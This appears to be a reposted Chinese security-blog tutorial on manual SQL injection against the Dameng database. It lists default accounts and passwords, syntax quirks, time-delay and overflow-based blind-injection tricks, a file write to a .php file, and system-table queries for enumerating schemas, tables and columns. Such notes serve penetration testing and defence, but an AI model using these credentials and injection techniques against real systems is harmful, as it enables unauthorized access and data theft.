查看原文
其他

达梦数据库手工注入笔记

听风安全 2023-11-28

Editor's Note

比较实用建议收藏

The following article is from Beacon Tower Lab Author 烽火台实验室

免责声明由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------


前言


随着信创产业的逐步普及,很多小伙伴在渗透实战时会越来越多的遇到国产化数据库,如达梦、人大金仓等。如果使用该类数据库的站点存在sql注入漏洞,用sqlmap等工具无法支持我们直接得到想要的数据,我们需要理解这些数据库的语法才能更好的进行手工注入。本文总结了一些达梦数据库的手工注入技巧,欢迎大家收藏转发。



0x01 默认用户


默认安装的达梦数据库存在下面两个用户,密码与用户名相同,注意大小写

SYSDBA/SYSDBA

SYSAUDITOR/SYSAUDITOR


0x02 端口服务


默认端口:5236

默认服务名:DmServiceDMSERVER

远程:达梦数据库默认支持远程连接,只要网络可达,就可以连接成功。并没有类似mysql的只允许localhost连接的特性。






0x03 基础信息获取语法


SQL语句

语法

效果

select user

语法

正确

返回当前用户,默认是SYSDBA

select user()

语法

正确

返回当前用户,默认是SYSDBA

select db_name()

语法

错误

不存在方法db_name()

select database()

语法

错误

不存在方法database()

select cur_database

语法

正确

返回当前库名,默认是DAMENG

select cur_database()

语法

正确

反回当前库名,默认是DAMENG



0x04 语法特性



SQL语句

语法

效果

select  1

语法

正确

select语句后面可以不跟表名

select  1 from dual

语法

正确

存在默认表dual

select  1 from dual -- a

语法

正确

支持--单行注释

select  1 from dual # a

语法

错误

不支持#单行注释

select  1/*aaa*/from dual

语法

正确

支持/**/多行注释

select  1 from dual where 1

语法

错误

条件表达式必须是bool值

select  if(1=2, exp(710), 1)

语法

错误

不能在if表达式中使用子表达式

select  exp(if(1=2, 710,1))

语法

正确

可以在exp表达式中使用子表达式

select  1 from dual where 1=2 union select user()

语法

错误

字符串转换错误,联合查询要求字段类型必须相同

select  '1' from dual where 1=2 union select user()

语法

正确

支持union select联合查询语法

waitfor  delay '0:0:5'

语法

错误

不支持waitfor语法

select  sleep(5)

语法

错误

select 和sleep使用语法错误

sleep(5)

语法

正确

延时5s

exec  sleep 5

语法

正确

延时5s

select  1 from dual where 1=user()

会报错

但是不会报错出错误详情,不能用于报错注入

select  1 from dual where 1=updatexml(1,user(),1)

语法

错误

没有updatexml函数

select  `ACCOUNT_ID` from OTHER.ACCOUNT

语法

错误

不能用反引号标识表名和字段名

select  "ACCOUNT_ID" from "OTHER"."ACCOUNT"

语法

正确

如果表名和字段名中有特殊符号,可以用双引号包裹表名和字段名,不能用反引号

select  1 from dual where 1=1 || 1=1

语法

错误

不能使用||代替or

select  1 from dual where 1=1 && 1=1

语法

正确

可以使用&&代替and

select  top 1 * from account

语法

正确

支持top语法

select  * from account limit 0,1

语法

正确

支持limit语法

select  1 into outfile 'D:/1.txt'

语法

错误

不支持outfile语法

select  * from other.depttab where dname=0x61

语法

正确

但是不支持把字符串转换为0x61这种16禁止字符串的功能

copy  (select DNAME from other.depttab) to 'D:/1.txt'

语法

错误

不支持copy语法

utl_file.put_line(utl_file.fopen('D:\dmdbms\data\DAMENG\test',  'test.php', 'A'), 'xxxxxx')

语法

正确

可以写入文件,但是只能写到DAMENG目录,比较鸡肋



0x05 函数特性


函数示例

返回值

substr('1234',2,1)

返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位

substring('1234',2,1)

同substr函数

left('123456', 3)

返回123,第二个参数代表返回左边几位的字符

right('123456', 3)

返回456,第二个参数代表返回右边几位的字符

if(1=1,1,2)

返回1,条件判断,如果条件成立返回第二个参数值,如果条件不成立,返回第三个参数值

md5(1)

返回

0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x

if(1=ascii(substr('123456',2,1)),2, 1)

综合使用,盲注必备

exp(if(1=1,710,1))

exp(710)返回整数溢出错误,使用这种方式可以强制BOOL盲注


0x06 手工注入


>通过查询系统表来手工注入


1) 查询库名


SYS.SYSOBJECTS表中保存全部的库名信息,可以使用下面的方式查询到所有的库名和对应ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'


2) 查询表名


SYS.SYSOBJECTS表中同时保存全部的表名信息,可以使用下面的方式查询到所有的表名。其中SCHID来自步骤1)中获得的ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949


3) 查询列名


SYS.SYSCOLUMNS表中字段名称和字段类型,可以使用下面的方式查询所有的表对应的列名。其中ID为步骤2)中获取的ID

select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078


>通过查询视图来手工注入


1) 查询用户


可以使用下面的方式查询全部的数据库的用户名

select USERNAME from SYS.ALL_USERS


2) 查询库名


可以使用下面的方式查询全部库名,其中OWNER代表的是步骤1)对应的数据库用户名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'


3) 查询表名


可以使用下面的方式查询全部表名,这里的OWNER代表的是步骤2)对应的库名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'


4) 查询列名


可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。

select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OT



0x07 总结


达梦是一套优秀的国产化关系型数据库,目前在信创领域拥有大量的用户,其遵循SQL语言标准规范,从语法上来说和mysql和mssql都不太一样。


不可错过的往期推荐哦


记一次源码泄露引发的惨案

某运营商外网打点到内网横向渗透的全过程

从外网绕过沙箱逃逸再到内网权限提升的一次常规渗透项目

一次市hvv及省hvv的思路总结

带防护的Windows域渗透

渗透实战|NPS反制之绕过登陆验证

干货|从无到有学习Golang编写poc&exp

点击下方名片,关注我们
觉得内容不错,就点下“”和“在看
如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存